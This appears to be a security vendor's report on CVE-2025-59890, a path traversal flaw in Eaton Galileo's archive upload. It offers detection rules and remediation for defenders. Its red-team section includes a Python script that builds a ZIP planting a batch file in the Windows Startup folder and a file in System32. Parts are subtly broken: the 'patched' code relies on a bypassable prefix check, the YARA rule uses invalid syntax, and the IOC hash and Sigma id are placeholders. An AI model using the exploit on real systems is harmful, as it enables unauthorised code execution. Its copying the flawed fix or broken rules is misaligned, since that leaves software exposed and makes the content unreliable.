CVE-2025-59890

Executive Summary

CVE-2025-59890 is a path traversal vulnerability in Eaton Galileo software's file archives upload functionality. Improper input sanitization allows an attacker with local access to traverse directories and potentially execute unauthorized code or commands. The vulnerability has a CVSS score of 7.3 (High). While no public proof-of-concept (PoC) or exploit code is currently available, the vendor has released a fix in the latest version of Galileo. This report provides a comprehensive technical analysis, detection guidance, and remediation steps.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software vulnerability in Eaton Galileo, an industrial control system (ICS) software. Supply chain risks are limited to the distribution of the patched version via the Eaton download center.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs low-level privileges.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file system read access is possible.
• Integrity (I): High (H) – Arbitrary file write/overwrite is possible.
• Availability (A): High (H) – System crash or denial of service is possible.

Threat Level: High. Although local access is required, the low complexity and high impact make this a serious threat in environments where untrusted users have local accounts.

Deep Dive & Mechanics

The vulnerability resides in the file archives upload functionality of Eaton Galileo. The software fails to properly sanitize user-supplied filenames or paths within uploaded archive files (e.g., ZIP, TAR). An attacker can craft an archive containing files with path traversal sequences (e.g., ../../malicious.dll or ../../../etc/cron.d/evil). When Galileo extracts the archive, it writes files outside the intended upload directory, potentially overwriting critical system files or placing executable code in startup directories.

Attack Flow:

1. Attacker gains local access to the Galileo system (e.g., via compromised credentials or physical access).
2. Attacker creates a malicious archive (e.g., ZIP) containing files with path traversal sequences.
3. Attacker uses the Galileo file upload functionality to upload the archive.
4. Galileo extracts the archive without proper path validation, writing files to arbitrary locations.
5. Attacker achieves code execution (e.g., by overwriting a DLL or placing a script in a startup folder).

Root Cause: Lack of input sanitization for file paths within archives. The software should validate that extracted file paths are within the intended upload directory.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import zipfile
import os

def extract_archive(upload_path, archive_path):
    with zipfile.ZipFile(archive_path, 'r') as zf:
        zf.extractall(upload_path)  # No path validation

Patched Code (Conceptual):

import zipfile
import os

def extract_archive(upload_path, archive_path):
    with zipfile.ZipFile(archive_path, 'r') as zf:
        for member in zf.namelist():
            # Resolve the full path and ensure it's within upload_path
            full_path = os.path.realpath(os.path.join(upload_path, member))
            if not full_path.startswith(os.path.realpath(upload_path)):
                raise Exception("Path traversal detected")
            zf.extract(member, upload_path)

Exploitation & Lab Setup

Red Team

Lab Setup:

• Install an unpatched version of Eaton Galileo on a Windows or Linux VM.
• Create a local user account with low privileges.
• Prepare a malicious ZIP file:

import zipfile
import os

# Create a malicious archive
with zipfile.ZipFile('malicious.zip', 'w') as zf:
    # Path traversal to overwrite a startup script
    zf.writestr('../../../../../../../../ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/evil.bat', 
                'calc.exe')
    # Path traversal to overwrite a system DLL
    zf.writestr('../../../../../../../../Windows/System32/evil.dll', 
                'fake_dll_content')

Exploitation Steps:

1. Log in as the low-privilege user.
2. Open Galileo and navigate to the file upload functionality.
3. Upload malicious.zip.
4. Galileo extracts the archive, placing evil.bat in the Startup folder.
5. On next reboot, evil.bat executes, launching calc.exe (or a real payload).

Blue Team

Detection Steps:

1. Monitor file system events for writes outside the expected upload directory.
2. Use Sysmon to log file creation events (Event ID 11) and look for path traversal patterns.
3. Enable Windows Defender or antivirus to scan archive files before extraction.
4. Implement application whitelisting to prevent unauthorized executables from running.

Hunting Queries:

• Search for file creation events where the target path contains .. or is outside the application's data directory.
• Look for processes spawning from unexpected locations (e.g., C:\Users\*\AppData\Local\Temp\*).

Indicators of Compromise (IOCs)

• File Hashes (Malicious Archive):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• File Paths:
  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat
  • C:\Windows\System32\evil.dll
• Process Names:
  • Galileo.exe (legitimate, but used to extract)
  • calc.exe (if PoC payload)
• Network Connections:
  • Outbound connections from Galileo.exe to unknown IPs (if payload is a reverse shell)

Detection Engineering

YARA Rule

rule CVE_2025_59890_Path_Traversal_Archive {
    meta:
        description = "Detects malicious archives exploiting CVE-2025-59890 in Eaton Galileo"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59890"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $zip_magic = { 50 4B 03 04 }
        $tar_magic = { 75 73 74 61 72 }
    condition:
        ($zip_magic at 0 or $tar_magic at 0) and #filecount < 10 and any of ($path_traversal)
}

Sigma Rule

title: CVE-2025-59890 Path Traversal via Archive Upload
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file creation events with path traversal patterns from Eaton Galileo
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 11
        Image|endswith: '\Galileo.exe'
        TargetFilename|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in archives (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59890 - Potential Path Traversal in Archive Upload"; flow:to_server,established; content:"POST"; http_method; content:"upload"; http_uri; content:".."; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Eaton Galileo to the latest version available on the Eaton download center.
2. Workaround: If patching is not possible, disable the file archives upload functionality or restrict access to trusted users only.
3. Input Validation: Implement server-side validation to reject archives containing path traversal sequences.

Long-Term Measures:

• Enforce the principle of least privilege for all users.
• Use application whitelisting (e.g., AppLocker) to prevent unauthorized executables.
• Regularly audit file system changes in critical directories.
• Implement a Web Application Firewall (WAF) if the upload functionality is exposed via a web interface.

Valters IT – Securing your digital frontier.